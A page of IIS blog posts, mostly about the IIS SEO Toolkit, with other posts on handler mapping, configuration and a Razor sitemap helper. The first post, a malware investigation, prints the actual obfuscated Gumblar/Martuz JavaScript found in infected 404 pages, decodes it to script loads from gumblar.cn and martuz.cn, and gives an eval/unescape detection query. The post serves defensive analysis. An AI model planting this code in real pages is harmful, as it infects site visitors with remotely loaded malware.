Posts
  • CarlosAg Blog

    Finding malware in your Web Site using IIS SEO Toolkit

    • 3 Comments

    The other day a friend of mine who owns a Web site asked me to look at his Web site to see if I could spot anything weird since according to his Web Hosting provider it was being flagged as malware infected by Google.

    My friend (who is not technical at all) talked to his Web site designer and mentioned the problem. He downloaded the HTML pages and tried looking for anything suspicious on them, however he was not able to find anything. My friend then went back to his Hosting provider and mentioned the fact that they were not able to find anything problematic and that if it could be something with the server configuration, to which they replied in a sarcastic way that it was probably ignorance on his Web site designer.

    Enter IIS SEO Toolkit

    So of course I decided the first thing I would do is to start by crawling the Web site using Site Analysis in IIS SEO Toolkit. This gave me a list of the pages and resources that his Web site would have. First thing I knew is usually malware hides either in executables or scripts on the server, so I started looking for the different content types shown in the "Content Types Summary" inside the Content reports in the dashboard page.

    img01

    I was surprised to no found a single executable and to only see two very simple javascripts which looked not like malware in any way. So based on previous knowledge I knew that malware in HTML pages usually is hidden behind a funky looking script that is encoded and usually uses the eval function to run the code. So I quickly did a query for those HTML pages which contain the word eval and contain the word unescape. I know there are valid scripts that could include those features since they exist for a reason but it was a good way to get scoping the pages.

    Gumblar and Martuz.cn Malware on sight

    img02

    After running the query as shown above, I got a set of HTML files which all gave a status code 404 – NOT FOUND. Double clicking in any of them and looking at the HTML markup content made it immediately obvious they were malware infected, look at the following markup:

    <HTML>
    <HEAD>
    <TITLE>404 Not Found</TITLE>
    </HEAD>
    <script language=javascript><!-- 
    (function(AO9h){var x752='%';var qAxG='va"72"20a"3d"22Scr"69pt"45ng"69ne"22"2cb"3d"22Version("29"2b"22"2c"6a"3d"22"22"2cu"3dnav"69g"61"74or"2e"75ser"41gent"3bif((u"2e"69ndexO"66"28"22Win"22)"3e0)"26"26(u"2eindexOf("22NT"206"22"29"3c0)"26"26(document"2e"63o"6fkie"2ei"6e"64exOf("22mi"65"6b"3d1"22)"3c0)"26"26"28typ"65"6ff"28"7arv"7a"74"73"29"21"3dty"70e"6f"66"28"22A"22))"29"7b"7arvzts"3d"22A"22"3be"76a"6c("22i"66(wi"6edow"2e"22+a"2b"22)j"3d"6a+"22+a+"22Major"22+b+a"2b"22M"69no"72"22"2bb+a+"22"42"75"69ld"22+b+"22"6a"3b"22)"3bdocume"6e"74"2ewrite"28"22"3cs"63"72ipt"20"73rc"3d"2f"2fgum"62la"72"2ecn"2f"72ss"2f"3fid"3d"22+j+"22"3e"3c"5c"2fsc"72ipt"3e"22)"3b"7d';var Fda=unescape(qAxG.replace(AO9h,x752));eval(Fda)})(/"/g);
    -->
    </script><script language=javascript><!-- 
    (function(rSf93){var SKrkj='%';var METKG=unescape(('var~20~61~3d~22S~63~72i~70~74Engine~22~2cb~3d~22Version()+~22~2cj~3d~22~22~2c~75~3dn~61v~69ga~74o~72~2e~75se~72Agen~74~3b~69f(~28u~2eind~65~78~4ff(~22Chro~6d~65~22~29~3c~30)~26~26(~75~2e~69ndexOf(~22Wi~6e~22)~3e0)~26~26(u~2e~69ndexOf(~22~4eT~206~22~29~3c0~29~26~26(doc~75~6dent~2ecook~69e~2ein~64exOf(~22miek~3d1~22)~3c~30)~26~26~28typeof(zrv~7at~73)~21~3dtyp~65~6ff(~22A~22~29))~7bzrv~7at~73~3d~22~41~22~3b~65~76al(~22i~66(w~69ndow~2e~22+a+~22)~6a~3dj+~22+~61+~22M~61jor~22+b~2b~61+~22~4dinor~22+~62+a~2b~22B~75ild~22~2bb+~22j~3b~22)~3bdocu~6d~65n~74~2e~77rit~65(~22~3cs~63r~69pt~20src~3d~2f~2f~6dar~22~2b~22tuz~2ec~6e~2f~76~69d~2f~3f~69d~3d~22+j+~22~3e~3c~5c~2fscr~69pt~3e~22)~3b~7d').replace(rSf93,SKrkj));eval(METKG)})(/\~/g);
     
    --></script><BODY>
    <H1>Not Found</H1>
    The requested document was not found on this server.
    <P>
    <HR>
    <ADDRESS>
    Web Server at **********
    </ADDRESS>
    </BODY>
    </HTML>

    Notice those two ugly scripts that seem to be just a random set of numbers, quotes and letters? I do not believe I've ever met a developer that writes code like that in real web applications.

    For those of you like me that do not particularly enjoy reading encoded Javascript what these two scripts do is just unescape the funky looking string and then execute it. I have un-encoded the script that would get executed and showed it below just to show case how this malware works. Note how they special case a couple browsers including Chrome to request then a particular script that will cause the real damage.

    var a = "ScriptEngine", 
       
    b = "Version()+", 
       
    j = "", 
       
    u = navigator.userAgent; 
    if ((u.indexOf("Win") > 0) && (u.indexOf("NT 6") < 0) && (document.cookie.indexOf("miek=1") < 0) && (typeof (zrvzts) != typeof ("A"))) { 
       
    zrvzts = "A"; 
       
    eval("if(window." + a + ")j=j+" + a + "Major" + b + a + "Minor" + b + a + "Build" + b + "j;"); 
       
    document.write("<script src=//gumblar.cn/rss/?id=" + j + "><\/script>"); 
    }

    And:

    var a="ScriptEngine",
       
    b="Version()+",
       
    j="",u=navigator.userAgent;
    if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
       
    zrvzts="A";
       
    eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//martuz.cn/vid/?id="+j+"><\/script>");
    }

    Notice how both of them end up writing the actual malware script living in martuz.cn and gumblar.cn.

    Final data

    Now, this clearly means they are infected with malware, and it clearly seems that the problem is not in the Web Application but the infection is in the Error Pages that are being served from the Server when an error happens. Next step to be able to guide them with more specifics I needed to determine the Web server that they were using, to do that it is as easy as just inspecting the headers in the IIS SEO Toolkit which displayed something like the ones shown below:

    Accept-Ranges: bytes
    Content-Length: 2570
    Content-Type: text/html
    Date: Sat, 20 Jun 2009 01:16:23 GMT
    Last-Modified: Sun, 17 May 2009 06:43:38 GMT
    Server: Apache/2.2.3 (Debian) mod_jk/1.2.18 PHP/5.2.0-8+etch15 mod_ssl/2.2.3 OpenSSL/0.9.8c mod_perl/2.0.2 Perl/v5.8.8

    With a big disclaimer that I know nothing about Apache, I then guided them to their .htaccess file and the httpd.conf file for ErrorDocument and that would show them which files were infected and if it was a problem in their application or the server.

    Case Closed

    Turns out that after they went back to their Hoster with all this evidence, they finally realized that their server was infected and were able to clean up the malware. IIS SEO Toolkit helped me quickly identify this based on the fact that is able to see the Web site with the same eyes as a Search Engine would, following every link and letting me perform easy queries to find information about it. In future versions of IIS SEO Toolkit you can expect to be able to find this kind of things in a lot simpler ways, but for Beta 1 for those who cares here is the query that you can save in an XML file and use "Open Query" to see if you are infected with these malware.

    <?xml version="1.0" encoding="utf-8"?>
    <query dataSource="urls">
     
    <filter>
       
    <expression field="ContentTypeNormalized" operator="Equals" value="text/html" />
        <
    expression field="FileContents" operator="Contains" value="unescape" />
        <
    expression field="FileContents" operator="Contains" value="eval" />
      </
    filter>
     
    <displayFields>
       
    <field name="URL" />
        <
    field name="StatusCode" />
        <
    field name="Title" />
        <
    field name="Description" />
      </
    displayFields>
    </query>
  • CarlosAg Blog

    IIS SEO Toolkit - New Reports (Redirects and Link Depth)

    • 3 Comments

    In the new version of the IIS SEO Toolkit we added two new reports that are very interesting, both from an SEO perspective as well as from user experience and site organization. These reports are located in the Links category of the reports

    Redirects

    This report shows a summary of all the redirects that were found while crawling the Web site. The first column (Linking-URL) is the URL that was visited that resulted in redirection to the Linked-URL (second column). The third column (Linking-Status code) specifies what type of redirection happened based on the HTTP status code enumeration. The most common values will be MovedPermanently/Moved which is a 301, or Found/Redirect which is a 302. The last column shows the status code for the final URL so you can easily identify redirects that failed or that redirected to another redirect.

    image

    Why should you care

    This report is interesting because Redirects might affect your Search Engine rankings and make your users have the perception that your site is slower. For more information on Redirects see: Redirects, 301, 302 and IIS SEO Toolkit

     

    Link Depth

    This is probably one of my favorite reports since it is almost impossible to find this type of information in any other 'easy' way.

    The report basically tells you how hard it is for users that land in your home page to get to any of the pages in your site. For example in the image below it shows that it takes 5 clicks for a user to get from the home page of my site to the XGrid.htc component.

    image

    This is very valuable information because you will be able to understand how deep your Web site is, in my case if you were to walk the entire site and layout its structure in a hierarchical diagram it would basically be 5 levels deep. Remember, you want your site to be shallow so that its easily discoverable and crawled by Search Engines.

    Even more interesting you can double click any of the results and see the list of clicks that the user has to make it to get to the page.

    image

    Note that it shows the URL, the Title of the page as well as the Text of the Link you need to click to get to the Next URL (the one with a smaller index). So as you can see in my case the user needs to go to the home page, click the link with text "XGrid", which takes it to the /XGrid/ url (index 3) which then needs to click the link with text "This is a new...", etc.

    Note that as you select the URLs in the list it will highlight in the markup the link that takes you to the next URL.

    The data of this report is powered by a new type of query we called Route Query. The reason this is interesting is because you can customize the report to add different filters, or change the start URL, or more.

    For example, lets say I want to figure out all the pages that the user can get to when they land in my site in a specific page, say http://www.carlosag.net/Tools/XGrid/editsample.htm:

    In the Dashboard view of a Report, select the option 'Query->New Routes Query'. This will open a new Query tab where you can specify the Start URL that you are interested.

    image

    As you can see this report clearly shows that if a user visits my site and lands on this page they will basically be blocked and only be able to see 8 pages of the entire site. This is a clear example on where a link to the Home page would be beneficial.

     

    Other common scenarios that this query infrastructure could be used for is to find ways to direct traffic from your most common pages to your conversion pages, this report will let you figure out how difficult or easy it is to get from any page to your conversion pages

  • CarlosAg Blog

    Mapping a different file extension for ASPX Pages in IIS 7.0

    • 3 Comments

    Today I read a question in one of the IIS.NET forums - although I'm not sure if this is what they really wanted to know - I figured it might be useful to understand how to do this anyway. Several times users does not like exposing their ASP.NET pages using the default .aspx file extension (sometimes because of legacy reasons, where they try to minimize the risk of generating broken links when moving from a different technology, to preserve the validity of previous search-engines-indexes and sometimes for the false sense of security or whatever).

    Regardless of why, the bottom line, to map a different file extension so they behave just like any other ASP.NET page requires you to add a couple of entries in configuration, especially if you want those to be able to work in both Pipeline Modes "Classic and Integrated".

    For this exercise lets assume you want to assign the file extension .IIS so that they get processed as ASPX pages and that you only want this to be applicable for Default Web Site and its applications.

    The following Web.Config file will enable this to work for both Pipeline Modes:

    <?xml version="1.0" encoding="UTF-8"?>
    <configuration>
       
    <system.webServer>
           
    <handlers>
               
    <add name="ASPNETLikeHandler-Classic" path="*.iis" verb="GET,HEAD,POST,DEBUG" modules="IsapiModule" scriptProcessor="C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv2.0,bitness32" />
                <
    add name="ASPNETLikeHandler" path="*.iis" verb="GET,HEAD,POST,DEBUG" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" />
            </
    handlers>
           
    <validation validateIntegratedModeConfiguration="false" />
        </
    system.webServer>
       
    <system.web>
           
    <compilation>
               
    <buildProviders>
                   
    <add extension=".iis" type="System.Web.Compilation.PageBuildProvider" />
                </
    buildProviders>
           
    </compilation>
           
    <httpHandlers>
               
    <add path="*.iis" type="System.Web.UI.PageHandlerFactory" verb="*" />
            </
    httpHandlers>
       
    </system.web>
    </configuration>

    The following command lines uses AppCmd.exe to enable this for both Pipeline Modes and basically generate the .config file above.


    echo To make it work in integrated mode
    appcmd.exe set config "Default Web Site" -section:system.webServer/handlers /+"[name='ASPNETLikeHandler',path='*.iis',verb='GET,HEAD,POST,DEBUG',type='System.Web.UI.PageHandlerFactory',modules='ManagedPipelineHandler',requireAccess='Script',preCondition='integratedMode']"
    appcmd.exe set config "Default Web Site" -section:system.web/compilation /+"buildProviders.[extension='.iis',type='System.Web.Compilation.PageBuildProvider']"

    echo To make it work in classic mode
    appcmd.exe set config "Default Web Site" -section:system.webServer/handlers /+"[name='ASPNETLikeHandler-Classic',path='*.iis',verb='GET,HEAD,POST,DEBUG',modules='IsapiModule',scriptProcessor='%windir%\Microsoft.NET\Framework\v2.0.50727\aspnet_isapi.dll',requireAccess='Script',preCondition='classicMode,runtimeVersionv2.0,bitness32']"

    appcmd.exe set config "Default Web Site" -section:system.web/httpHandlers /+"[path='*.iis',type='System.Web.UI.PageHandlerFactory',verb='*']"

    appcmd.exe set config "Default Web Site" -section:system.web/compilation /+"buildProviders.[extension='.iis',type='System.Web.Compilation.PageBuildProvider']"

    appcmd.exe set config "Default Web Site" -section:system.webServer/validation /validateIntegratedModeConfiguration:"False"

    So what does this actually do?

    Lets actually describe the AppCmd.exe lines since it breaks nicely the different operations.

    1. Integrated Mode. When running in Integrated mode conceptually only the IIS Pipeline gets executed and not the ASP.NET pipeline, this means that the HttpHandlers section (in system.web) is actually not used at all.
      1. So just by adding a new handler (ASPNETLikeHandler above) to the System.WebServer/Handlers will cause IIS to see this extension and correctly execute the page. Note that we use the preCondition attribute to tell IIS that this handler should only be used when we are running in an Integrated Pipeline Application Pool.
      2. The second line only tells the ASP.NET compilation infrastructure how to deal with files with this extension so that it can compile it as needed.
    2. Classic Mode. In classic mode the ASP.NET pipeline keeps running as previous versions of IIS as a simple ISAPI and the new IIS pipeline gets executed as well, this means that we first need to tell IIS to route the request to ASP.NET ISAPI and then we need to tell ASP.NET how to handle this extension as well by using the system.web/httpHandlers to process the request.
      1. The first line adds a handler (ASPNETLikeHandler-Classic above) to IIS so that IIS correctly routes this request to the aspnet_isapi.dll. Note that in this case we also use the preCondition attribute to tell IIS that this only applies when running in an Application Pool in classic mode, furthermore we also use it to specify that it should only be used in an Application Pool running in 32 bit mode and that is using version 2.0 of the runtime. If you wanted to support also 64 bit application pools you would add another handler pointing to the 64bit version of aspnet_isapi.dll in Framework64 folder and use bitness64 instead.
      2. The second line tells ASP.NET that the .iis extension is handled by the PageHandlerFactory, so that the ASP.NET pipeline understands what to do when a file with the .iis extension is requested.
      3. Again, just as 2 in the Integrated Mode case we need to tell the ASP.NET compilation infrastructure how to deal with this extension.
      4. Finally since we are adding a system.web/httpHandler entry and to make sure that this will not break when someone changes the App pool to integrated mode we tell IIS to "not complain" if we get run in Integrated mode since we also included the handler in the IIS sections in the right way.

    Hopefully this helps understanding a bit how to re-map extensions to ASP.NET extensions, and in doing that learn a bit more about preConditions, Handlers and AppCmd.

  • CarlosAg Blog

    Extending the IIS Configuration System using COM

    • 3 Comments

    Today I was going to post about extending the IIS Configuration, in particular about a feature that not everybody knows that allows you to extend the IIS Configuration System using dynamic code. What this means is that instead of hard-coding the configuration using XML in a .config file, your configuration can be provided by a COM object that implements IAppHostPropertyExtension, IAppHostElementExtension and IAppHostMethodExtension.

    Then, just to make sure I was not repeating what somebody else already said I searched for this in live.com (Worth to say, excellent results, first hit is the documentation of the interface, second hit is an excellent article in iis.net).

    So instead of repeating what you can already find in those places in IIS.NET I decided to not blog about it in details, but instead mention some of the things that are not specified in these places.

    This dynamic configuration is great and offers lots of interesting features since it allows you to expose any random code that can immediately be accessed through all of our configuration API's, including Microsoft.Web.Administration, AHADMIN, etc, giving your end-user a common programming paradigm, in fact this also means that its immediately accessible to the UI API's and even to the new Configuration Editor in the Admin Pack.

    Another interesting benefit is that through these API's your code can be called remotely so that it can be scripted to manage the machines remotely without the need to write any serialization or complex remote infrastructure (restrictions might apply).

    However, one thing that is also important to mention is that these dynamic configuration extensions are only available for administration tools, meaning you cannot access this extensions from the worker process by default. To clarify, you cannot use the Worker Process configuration instance to invoke these extensions since the worker process specifically disables the ability to call them in its configuration instance. However, if you create your own instance of Microsoft.Web.Administration.ServerManager (which requires you to be running in Full Trust) you will be able. You can also create your own instance of Microsoft.ApplicationHost.AdminManager and you will be able to access them. However in both cases this will only work if your an Administrator in the machine or have read ACL's for ApplicationHost.config file (which by default is only readable by Administrators). This is why methods like Microsoft.Web.Administration.WebConfiigrationManager::GetSection (and CoGetObject for AHADMIN) are provided so you don't run into these issues when developing Web Applications and are still able to read configuration sections for your worker process without requiring administrative privileges (in MWA provided you are either are in Full Trust or the section definition marks it as requirePermission=false).

    To understand better some scenarios its worth to mention that In IIS 7.0 we actually use these API's to provide access to runtime information in an easy way and other tasks, for example, to query the state of a Site, to Recycle an Application Pool, to assign an SSL certificate to a binding, to stop a Site, are all provided through this mechanism. If you want to see all the things we do this way just open %windir%\System32\Inetsrv\config\schema\rscaext.xml where all of our Web Server extensions are declared. Our own FTP Server for IIS 7.0 uses the same mechanism for things like querying Sessions, and other cool stuff.

    Anyway, feel free to give the IIS.NET article a good read, its quite good.

    http://www.iis.net/articles/view.aspx/IIS7/Extending-IIS7/Extending-IIS7-Configuration/Configuration-Extensibility

  • CarlosAg Blog

    "EXCEL.EXE is not a valid Win32 application" problem in Windows Vista

    • 3 Comments

    Every now and then after leaving my computer running for several weeks I would get a weird error message when trying to launch Excel saying something like:

    C:\PROGRA~1\MICROS~1\Office12\EXCEL.EXE is not a valid Win32 application.

    or

    This file does not have a program associated with it for performing this action. Create an association in the Set Associations control panel.

    I tried several things to make it run again, but only a restarting would solve the problem. Finally, I decided to investigate a bit more and turns out there is a fix that solves the problem that you can download from Microsoft support:

    http://support.microsoft.com/kb/952709

    This update improves the reliability of Windows Vista SP1-based computers that experience issues in which large applications cannot run after the computer is turned on for extended periods of time. For example, when you try to start Excel 2007 after the computer is turned on for extended periods of time, a user may receive an error message that resembles the following:

    EXCEL.EXE is not a valid Win32 application

    I just installed it and so far so good, no more weird errors but I guess I need to wait a few weeks before I can testify it works. Either way I though this could be helpful for others.

    Direct links for the fix download are:

    Windows Vista, 32-bit versions
    Download the Update for Windows Vista (KB952709) package now. (http://www.microsoft.com/downloads/details.aspx?FamilyId=DF72A9B0-564E-4326-894E-05CBA709CB39)
    Windows Vista, 64-bit versions
    Download the Update for Windows Vista for x64-based Systems (KB952709) package now. (http://www.microsoft.com/downloads/details.aspx?FamilyId=C3536CAA-7B71-4525-9D23-21A5B3D4507F)

  • CarlosAg Blog

    Announcing: IIS SEO Toolkit v1.0 release

    • 3 Comments

    Today we are announcing the final release of the IIS Search Engine Optimization (SEO) Toolkit v1.0. This version builds upon the Beta 1 and Beta 2 versions and is 100% compatible with those versions so any report you currently have continues to work in the new version. The new version includes a set of bug fixes and new features such as:

    1. Extensibility. In this version we are opening a new set of API's to allow you to develop extensions for the crawling process, including the ability to augment the metadata in the report with your own, extend the set of tasks provided in the Site Analysis and Sitemaps User Interface and more. More on this on a upcoming post.
    2. New Reports. Based on feedback we added a Redirects summary report in the Links section as well as a new Link Depth report that allows you to easily know which pages are the "most hidden pages" in your site, or in other words if a user landed at your sites home page, "how many clicks does he need to do to reach a particular page".
    3. New Routes Query. We added a new type of Query called Routes. This is the underlying data that powers the "Link Depth" report mentioned above, however it is also exposed as a new query type so that you can create your own queries to customize the Start page and any other kind of things, like filtering, grouping, etc.
    4. New option to opt-out from keeping a local cache of files. We added a new switch in the "Advanced Settings" of the New Analysis dialog to disable the option of keeping the files stored locally. This allows you to run a report which runs faster and that consumes a lot less disk space than when keeping the files cached. The only side effect is that you will not be able to get the "Content" tab and the contextual position of the links as well as the Word Analysis feature. Everything else continues to work just as any other report.
    5. HTML Metadata is now stored in the Report. By leveraging the Extensibility mentioned in bullet 1, the HTML parser now stores all the HTML META tags content so that you can later use them to write your own queries, whether to filter, group data or just export it, this gives you a very interesting set of options if you have any metadata like Author, or any custom.
    6. Several Bug Fixes:
      1. Internal URLs linked by External URLs now are also included in the crawling process.
      2. Groupings in queries should be case sensitive
      3. Show contextual information (link position) in Routes
      4. The Duplicate detection logic should only include valid responses (do not include 404 NOT Found, 401, etc)
      5. Canonical URLs should support sub-domains.
      6. Several Accessibility fixes. (High DPI, Truncation in small resolutions, Hotkeys, Keyboard navigation, etc).
      7. Several fixes for Right-To-Left languages. (Layout and UI)
      8. Help shortcuts enabled.
      9. New Context Menus for Copying content
      10. Add link position information for Canonical URLs
      11. Remove x-javascript validation for this release
      12. Robots algorithm should be case sensitive
      13. many more

    This version can upgrade both Beta 1 and Beta 2 version so go ahead and try it and PLEASE provide us with feedback and any additional things you would like to see for the next version at the SEO Forum in the IIS Web site.

    Click here to install the IIS SEO Toolkit.

  • CarlosAg Blog

    Using the SEO Toolkit to generate a Sitemap of a remote Web Site

    • 3 Comments

    The SEO Toolkit includes a set of features (like Robots Editor and Sitemap Editor) that only work when you are working with a local copy of your Web Site. The reason behind it is that we have to understand where we need to save the files that we need to generate (like Robots.txt and Sitemap XML files) without having to ask for physical paths as well as to verify that the functionality is added correctly such as only allowing Robots.txt in the root of a site, etc. Unfortunately this means that if you have a remote server that you cannot have a running local copy then you cannot use those features. (Note that you can still use Site Analysis tool since that will crawl your Web Site regardless of platform or framework and will store the report locally just fine.)

    The Good News

    The good news is that you can technically trick the SEO Toolkit into thinking you have a working copy locally and allow you to generate the Sitemap or Robots.txt file without too much hassle (“too much” being the key).

    For this sample, lets assume we want to create a Sitemap from a remote Web site, in this case I will use my own Web site (http://www.carlosag.net/ , but you can specify your own Web site, below are the steps you need to follow to enable those features for any remote Web site (even if it is running in other versions of IIS or any other Web Server).

    Create a Fake Site

    • Open IIS Manager (Start Menu->InetMgr.exe)
    • Expand the Tree until you can see the “Sites” node.
    • Right-click the “Sites” node and select “Add Web Site…”
    • Specify a Name (in my case I’ll use MySite)
    • Click “Select” to choose the DefaultAppPool from the Application Pool list. This will avoid creating an additional AppPool that will never run.
    • Specify a Physical Path where you will want the Robots and Sitemap files to be saved. I recommend creating just a temporary directory that clearly states this is a fake site. So I will choose c:\FakeSite\ for that.
    • Important. Set the Host name so that it matches your Web Site, for example in my case www.carlosag.net.
    • Uncheck the “Start Web site immediately”, since we do not need this to run.
    • Click OK

    This is how my Create site dialog looks like:

    image

    Use the Sitemap Editor

    Since we have a site that SEO Toolkit thinks it is locally now you should be able to use the features as usual.

    • Select the new site created above in the Tree
    • Double-click the Search Engine Optimization icon in the Home page
    • Click the link “Create a new Sitemap”
    • Specify a name, in my case Sitemap.xml
    • Since this is a remote site, you will see that the physical location option shows an empty list, so change the “URL structure” to will use the “<Run new Site Analysis>..” or if you already have one you can choose that.
    • If creating a new one, just specify a name and click OK (I will use MySite). At this point the SEO Toolkit starts crawling the Remote site to discover links and URLs, when it is done it will present you the virtual namespace structure so you can work with.
    • After the crawling is done, you can now check any files you want to include in your Sitemap and leverage the Server response to define the changed date and all the features as if the content was local. and Click OK

    This is the way the dialog looks when discovered my remote Web site URLs:

    image

    You will find your Sitemap.xml generated in the physical directory specified when creating the site (in my case c:\FakeSite\Sitemap.xml").

    Use the Robots Editor

    Just as with the Sitemap Editor, once you prepare a fake site for the remote server, you should be able to use the Robots Editor and leverage the same Site analysis output to build your Robots.txt file.

    image

    Summary

    In this blog I show how you can use the Sitemap and Robots Editor included in the SEO Toolkit when working with remote Web sites that might be running in different platforms or different versions of IIS.

  • CarlosAg Blog

    Get IIS bindings at runtime without being an Administrator

    • 3 Comments

    Today there was a question in StackOverflow asking whether it was possible to read the IIS binding information such as Port and Protocols from the ASP.NET application itself to try to handle redirects from HTTP to HTTPS in a way that was reliable without worrying about using different ports than 80/443.

    Turns out this is possible in the context of the IIS worker process by using Microsoft.Web.Administration.

    The following function will take care of that by reading the Worker Process isolated configuration file and find the HTTP based bindings.

        private static IEnumerable<KeyValuePair<string, string>> GetBindings(HttpContext context) {
           
    // Get the Site name 
            string siteName = System.Web.Hosting.HostingEnvironment.SiteName;

           
    // Get the sites section from the AppPool.config
            Microsoft.Web.Administration.ConfigurationSection sitesSection =
               
    Microsoft.Web.Administration.WebConfigurationManager.GetSection(null, null, "system.applicationHost/sites");
            
           
    foreach (Microsoft.Web.Administration.ConfigurationElement site in sitesSection.GetCollection()) {
               
    // Find the right Site
                if (String.Equals((string)site["name"], siteName, StringComparison.OrdinalIgnoreCase)) {

                   
    // For each binding see if they are http based and return the port and protocol
                    foreach (Microsoft.Web.Administration.ConfigurationElement binding in site.GetCollection("bindings")) {
                       
    string protocol = (string)binding["protocol"];
                       
    string bindingInfo = (string)binding["bindingInformation"];

                       
    if (protocol.StartsWith("http", StringComparison.OrdinalIgnoreCase)) {
                           
    string[] parts = bindingInfo.Split(':');
                           
    if (parts.Length == 3) {
                               
    string port = parts[1];
                               
    yield return new KeyValuePair<string, string>(protocol, port);
                           
    }
                       
    }
                   
    }
               
    }
           
    }
       
    }

     

    If you want to try it, you could use the following page, just save it as test.aspx and add the function above, the result is a simple table that shows the protocol and port to be used:

    <%@ Page Language="C#" %>
    <%@ Import Namespace="System.Collections.Generic" %>
    <script runat="server">
       
    protected void Page_Load(object sender, EventArgs e) {
           
    Response.Write("<table border='1'>");
           
    foreach (KeyValuePair<string, string> binding in GetBindings(this.Context)) {
               
    Response.Write("<tr><td>");
               
    Response.Write(binding.Key);
               
    Response.Write("</td><td>");
               
    Response.Write(binding.Value);
               
    Response.Write("</td></tr>");
           
    }
           
    Response.Write("</table>");
       
    }
    </script>



    Also, you will need to add Microsoft.Web.Administration to your compilation assemblies inside the web.config for it to work:

    <?xml version="1.0"?>
    <configuration>
      
    <system.web>
        
    <compilation debug="true">
          
    <assemblies>
            
    <add assembly="Microsoft.Web.Administration, Version=7.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/>
          </
    assemblies>
        
    </compilation>
      
    </system.web>
    </configuration>
  • CarlosAg Blog

    Razor Migration Notes 1: Moving a SitemapPath Control to ASP.NET Web Pages

    • 2 Comments

    After many years I decided that it is time to rewrite my Web site using Razor. A bit of history, I started it around 2003 using ASP.NET 1.1. When .NET 2.0 came around in 2005 I migrated to it and it was great being able to leverage features like MasterPages, Themes, Sitemaps, and many other features. Honestly it is a pretty simple Web site, with mostly content, so very few controls, Sitemap, my own custom Menu control, and a couple more. Last week it was moved to use .NET 4.0 and it feels its about time to go back and update it a bit, both in look and features. So this (if time permits) will be the first of a series of migration notes that I discover as I move it to use ASP.NET Razor (aka WebPages). Do note that this is not meant to be a best practice in anyway, I would never claim I can make such a thing, these will be only my personal notes as I discover more details in ASP.NET WebPages features and as I move my own implementation to use them.

    So with that, one of the first things I faced during this migration, was the use of a Sitemap control (asp:SiteMapPath) in my MasterPage (future post about moving from MasterPages coming). I knew about Sitemap API, so I just decided to write a simple Sitemap helper that I can now use anywhere in Razor. The code is pretty simple, it basically generates an unordered list of links using <ul> and <li> with <a> inside, and used CSS to layout them in a way that I liked.

    SitemapPath Control in WebForms

    The original code I was using in my MasterPage looked like the following:

    <asp:SiteMapPath CssClass="HeaderText" runat="server" ID="siteMap" ShowToolTips="true" NodeStyle-ForeColor="White" CurrentNodeStyle-Font-Bold="true" />

    And generated the following markup:

    <span id="siteMap" class="HeaderText"><a href="#siteMap_SkipLink"><img alt="Skip Navigation Links" height="0" width="0" src="http://blogs.msdn.com/WebResource.axd?d=S2jbW9E-HYlS0UQoRCcsm94KUJelFI6yS-CQIkFvzT6fyMF-zCI4oIF9bSrGjIv4IvVLF9liJbz7Om3voRpNZ8yQbW3z1KfqYr4e-0YYpXE1&amp;t=634219272564138624" style='border-width:0px;' /></a><span><a title='Home' href='/' style='color:White;'>Home</a></span><span> &gt; </span><span><a title='Free tools for download' href='/Tools/' style='color:White;'>Tools</a></span><span> &gt; </span><span style='color:White;font-weight:bold;'>Code Translator</span><a id='siteMap_SkipLink'></a></span>

    Which looks like the following in the browser:

    image

    I used some CSS to set the color, and background and other stuff, but still to set the last item to bold required me to use a property in the Sitemap to get it to look the way I wanted.

    My Sitemap Helper in Razor

    Since I was familiar with the Sitemap API and my goal was to change as “little” as possible as part of this first migration, I decided to write a Sitemap helper that I can use in my Layout pages. The code in the Page is as simple as it gets, you just call @Helpers.Sitemap() and that’s it (added the Div below to get some context in the markup, but that was already there with the SitemapPath control anyway):

    <div class="bannerPath">
    @Helpers.Sitemap()
    </div>

    This new helper version generates the markup below. I don’t know about you, but I can sure make more sense of what it says, and I imagine Search Engines will as well, I decided to use more semantically correct markup using a <nav> to signal navigational section and use a list of links.

    <nav>
        <ul class="siteMap">
            <li><a href="http://blogs.msdn.com/" title="Home">Home</a>&nbsp;&gt;&nbsp;</li>
            <li><a href="http://blogs.msdn.com/Tools/" title="Free tools for download">Tools</a>&nbsp;&gt;&nbsp;</li>
            <li><span>Code Translator</span></li>
        </ul>
    </nav>

    And it looks like the following in the browser (I decided to remove the underlining, and have more padding, and a new font, but all of that is CSS):

    image

    The Sitemap helper code

    The code to do the Sitemap was pretty simple, just use the SiteMap API to get the current node. Since I’m picky and I wanted to generate the markup in the “right” order (note you could use CSS to float them to the right instead), I used a Stack to push the nodes while traversing them up. Finally just generate the <li>.

    @helper Sitemap()
    {
        SiteMapNode currentNode = SiteMap.CurrentNode;
        <nav>
        <ul class="siteMap">
        @if (currentNode != null)
        {
            // Push into a stack to reverse them
            var node = currentNode;
            var nodes = new Stack<SiteMapNode>();
            while (node.ParentNode != null)
            {
                nodes.Push(node.ParentNode);
                node = node.ParentNode;
            }
           
            while(nodes.Count != 0)
            {
                SiteMapNode n = nodes.Pop();
                <li><a href="@n.Url" title="@n.Description">@n.Title</a>&nbsp;&gt;&nbsp;</li>
            }
            <li><span>@currentNode.Title</span></li>
        }
        else
        {
            <li><span>@Page.Title</span></li>
        }
        </ul>
        </nav>
    }

     

    To make it look the way I wanted I used the following CSS:

    .siteMap

      { float:right; font-size:11px; color:White; display:inline; margin-top:3px; margin-bottom:3px; margin-left:0px; margin-right:10px; } .siteMap li,span { float:left; list-style-type:none; padding-left:5px; border-width:0px;} .siteMap span { font-weight:bold; } .siteMap a,a.Visited { color:White; text-decoration:none; }

     

    Conclusion

    SitemapPath control gives you a really easy way to put together a navigation control based on the Sitemap APIs (and the Web.Sitemap file in my case). Creating a simple ASP.NET Razor helper is actually pretty easy since all the functionality needed is there in the base API’s and although it required some code (20 lines of code) now I feel like I have more control over my markup, can style it in anyway I want using CSS and have cleaner markup rendered.

    I’m sure there are better ways to do this, but as I said, the goal of this first pass is to push my site soon with as little changes possible while keeping the same functionality first.

  • CarlosAg Blog

